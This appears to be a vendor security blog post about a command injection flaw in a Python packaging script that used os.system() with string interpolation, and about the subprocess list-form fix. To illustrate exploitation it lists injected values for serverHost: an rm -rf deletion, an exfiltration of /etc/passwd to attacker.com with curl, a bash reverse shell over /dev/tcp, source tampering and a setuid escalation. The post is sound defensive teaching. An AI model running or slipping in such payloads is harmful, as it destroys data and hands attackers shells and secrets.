Command Injection in Python Packaging Scripts: How Shell Metacharacters Can Compromise Your Build Pipeline

Introduction

Build and packaging scripts are often treated as second-class citizens when it comes to security reviews. They live in the packaging/ or scripts/ directory, they run in CI/CD pipelines, and developers tend to assume that only trusted engineers ever interact with them. That assumption can be dangerously wrong.

This post breaks down a high-severity command injection vulnerability found in packaging/checkPackageRuning.py — a script responsible for checking whether a package is running on a server. The vulnerability allowed an attacker who could influence a single variable to execute arbitrary shell commands with the full privileges of the packaging process. We'll explore how it worked, how it was fixed, and what you can do to prevent similar issues in your own codebases.

The Vulnerability Explained

What Is Command Injection?

Command injection is a class of vulnerability where an attacker can cause an application to execute unintended operating system commands. It typically occurs when user-controlled data is passed to a shell interpreter — either directly or indirectly — without proper sanitization.

Think of it like this: if you're building a SQL query by concatenating strings, you risk SQL injection. If you're building a shell command by concatenating strings, you risk command injection. The mechanics are the same; the consequences can be just as severe.

This vulnerability is tracked under CWE-78: Improper Neutralization of Special Elements used in an OS Command and is listed in the OWASP Top 10 under A03:2021 – Injection.

The Vulnerable Code

The root cause was a combination of two dangerous patterns used together:

1. String interpolation to build a shell command from a variable (serverHost)
2. os.system() to execute that command, which invokes a full shell interpreter

Here's a simplified representation of the vulnerable pattern:

# ❌ VULNERABLE: os.system() with string interpolation
import os

serverHost = get_server_host()  # Could be influenced by external input

cmd = "curl http://%s/health-check" % serverHost
os.system(cmd)  # Passes the entire string to /bin/sh

The critical detail here is how os.system() works under the hood. On Unix-like systems, os.system(cmd) is essentially equivalent to:

/bin/sh -c "curl http://<serverHost>/health-check"

That means the string is handed to a shell interpreter, and the shell will happily process any metacharacters it finds. Characters like ;, |, &&, `, $(), and > all carry special meaning to the shell.

How Could It Be Exploited?

Imagine serverHost is populated from a configuration file, an environment variable, a command-line argument, or a network response — any source that an attacker might influence. Here's what a malicious value could look like:

# Attacker-controlled serverHost value:
localhost; rm -rf /important/data; echo pwned

When interpolated into the command string:

curl http://localhost; rm -rf /important/data; echo pwned

The shell interprets the semicolons as command separators and executes all three commands in sequence. The curl command runs first (possibly failing), then rm -rf destroys data, and finally echo pwned confirms execution.

Other attack patterns include:

# Exfiltrate sensitive files
localhost && cat /etc/passwd | curl -d @- https://attacker.com/collect

# Establish a reverse shell
localhost; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Tamper with the package being built
localhost; echo "malicious_code" >> ../src/main.py

# Escalate privileges if the script runs as root in CI
localhost; chmod +s /bin/bash

What's the Real-World Impact?

In the context of a packaging script, the blast radius is particularly large:

• Supply chain compromise: Injected code could modify the package before it's published, affecting every downstream consumer.
• CI/CD pipeline takeover: Build servers often have elevated permissions and access to secrets (API keys, signing certificates, deployment credentials).
• Data exfiltration: Sensitive build artifacts, source code, or environment variables could be sent to an attacker-controlled server.
• Persistence: An attacker could install backdoors in the build environment that persist across runs.

Even if the script is "only run by trusted engineers," consider:
- Compromised developer machines
- Malicious pull requests that modify configuration files read by the script
- Automated pipelines that pull configuration from external sources

The Fix

What Changed

The fix replaces os.system() with Python's subprocess module, which is the modern, secure way to execute external commands in Python.

# ✅ FIXED: subprocess with argument list (no shell interpolation)
import subprocess

serverHost = get_server_host()

# Pass arguments as a list — no shell is invoked
result = subprocess.run(
    ["curl", f"http://{serverHost}/health-check"],
    capture_output=True,
    text=True,
    timeout=30
)

Why Does This Fix the Problem?

The key difference is how the arguments are passed to the operating system.

When you use subprocess.run() with a list of arguments (rather than a single string with shell=True), Python uses the execvp() system call directly. This means:

• No shell is invoked — there is no /bin/sh -c wrapper
• Each element in the list is treated as a literal argument — shell metacharacters have no special meaning
• serverHost is passed as a raw string to curl, not interpreted by a shell

Here's a side-by-side comparison to make this concrete:

Even if serverHost contains ; rm -rf /, it's passed as a literal string to curl, which will simply fail to resolve the hostname — no shell commands are executed.

A Note on shell=True

It's worth emphasizing: subprocess.run() with shell=True is just as dangerous as os.system(). The fix only works because arguments are passed as a list without enabling shell mode.

# ❌ Still vulnerable — shell=True negates the safety of subprocess
subprocess.run("curl http://" + serverHost, shell=True)

# ✅ Safe — list form, no shell
subprocess.run(["curl", "http://" + serverHost])

Conclusion

This vulnerability is a textbook example of how a single unsafe function call — os.system() with string interpolation — can open the door to complete system compromise. What makes it particularly insidious is that the code works perfectly under normal conditions; the danger only manifests when input is malicious.

The key takeaways from this fix:

1. os.system() is dangerous when used with any variable input — treat it as a code smell
2. subprocess with argument lists eliminates the shell injection surface by bypassing the shell entirely
3. Build and packaging scripts deserve the same security scrutiny as production application code — sometimes more, given their elevated privileges and access to signing keys and secrets
4. Automated security scanning can catch these patterns before they become incidents
5. Defense in depth — validation, least privilege, and monitoring all add layers of protection

Secure coding isn't just about protecting your users; it's about protecting your build pipeline, your infrastructure, and your supply chain. Every script counts.

This vulnerability was detected and patched using automated security scanning. If you'd like to learn more about securing your development pipeline, check out OrbisAI Security.